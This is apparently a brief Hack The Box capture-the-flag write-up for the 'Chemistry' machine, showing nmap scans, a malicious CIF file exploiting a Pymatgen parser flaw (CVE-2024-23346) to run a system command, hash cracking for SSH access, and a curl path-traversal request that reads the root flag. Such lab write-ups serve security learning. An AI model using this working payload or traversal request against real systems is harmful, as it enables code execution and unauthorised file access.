Chemistry

March 12, 2025

Chemistry

Created by	Page	Difficulty	OS
FisMatHack	Hack The Box	Easy	Linux

I start with a scan of the open ports and I continue with a scan of the versions and technologies that are running on the open ports that we have found

nmap -p- --open -vvv --min-rate 5000 -Pn -sS 10.10.11.35 -oG scan
/opt/extractports scan
nmap -p22,5000 -sCV -Pn 10.10.11.38 -oN ports

I search the website and find a page that allows me to upload a file. I try several things but I don’t get anything

Searching for possible libraries I find the one being used and see that it has a vulnerability. Thanks to it I can execute remote code. CVE-2024-23346

  data_5yOhtAoR
  _audit_creation_date            2018-06-08
  _audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
	
  loop_
  _parent_propagation_vector.id
  _parent_propagation_vector.kxkykz
  k1 [0 0 0]
	
  _space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("python3 -m http.server 9988");0,0,0'
	
  _space_group_magn.number_BNS  62.448
  _space_group_magn.name_BNS  "P  n'  m  a'  "

When sharing directories I can find a file containing a database with users and passwords. As I have also found users that match the existing ones on the system, I crack the hash and manage to log in via ssh as the rosa user and I can read the first flag.
I list the open ports and find one that is not exposed to the outside.
I try to read files from the system using path traversal and I manage to read the second flag
```
   curl --path-as-is <http://127.0.0.1:8080/assets/../../../../../root/root.txt>
```